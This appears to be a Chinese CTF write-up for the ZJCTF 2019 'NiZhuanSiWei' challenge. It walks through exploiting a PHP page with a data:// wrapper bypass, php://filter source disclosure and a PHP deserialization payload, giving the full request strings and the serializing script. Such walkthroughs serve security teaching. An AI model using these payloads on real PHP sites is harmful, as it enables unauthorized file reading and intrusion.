zoukankan      html  css  js  c++  java
  • [ZJCTF 2019]NiZhuanSiWei

    这道题涉及到的知识点:
    1.data伪协议写入文件
    2.php://

    php://filter用于读取源码
    php://input用于执行php代码
    

    一进门就给了源码,看来是个代码审计题。

    <?php   
    $text = $_GET["text"]; 
    $file = $_GET["file"]; 
    $password = $_GET["password"]; 
    if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ 
        echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; 
        if(preg_match("/flag/",$file)){ 
            echo "Not now!"; 
            exit();  
        }else{ 
            include($file);  //useless.php 
            $password = unserialize($password); 
            echo $password; 
        } 
    } 
    else{ 
        highlight_file(__FILE__); 
    } 
    ?>
    

    首先,针对

    if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
    

    这一行代码进行一个绕过。因为我们不知道后台哪个文件的源码是welcome to the zjctf,说不准就真没有,只能在传入的时候直接带进来。这里利用到data伪协议将数据直接写进去,以供file_get_contents函数读取。

    text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
    

    这样即可。

    第二个绕过

    if(preg_match("/flag/",$file)){     #上传的file变量中不能包含'flag'字样
            echo "Not now!"; 
            exit();  
        }else{ 
            include($file);  //useless.php 
            $password = unserialize($password); 
            echo $password; 
        }
    

    这里源码给你提示了,让你包含useless.php,如果包含flag.php直接报错。
    于是

    file=useless.php
    

    如果直接这么执行的话,返回的文件中包含的php代码会直接当成php命令来执行,所以需要base64编码一下,以免被执行。

    file=php://filter/read=convert.base64-encode/resource=useless.php
    

    这里利用php"//filter来读取源码:
    ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php在这里插入图片描述
    得到了

    <?php  
    
    class Flag{  //flag.php  
        public $file;  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
                echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
            }  
        }  
    }  
    ?>  
    
    

    这里直接利用php反序列化漏洞
    脚本如下:

    <?php
    class Flag{  //flag.php  
        public $file;  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
                echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
            }  
        }  
    }  
    $a = new Flag();
    $a -> file='flag.php';
    echo serialize($a);
    ?>
    

    得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
    最终的payload:?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
    在这里插入图片描述

  • 相关阅读:
    mysql grant命令
    appache ab测试高并发
    转:windows下定时执行备份数据库
    linux设置定时任务
    YII学习总结6(模板替换和“拼合”)
    YII学习总结5(视图)
    YII学习总结4(cookie操作)
    把字符串转换成整数
    不用加减乘除做加法
    求1+2+3+4+...+n
  • 原文地址:https://www.cnblogs.com/shenjuxian/p/13702744.html
Copyright © 2011-2022 走看看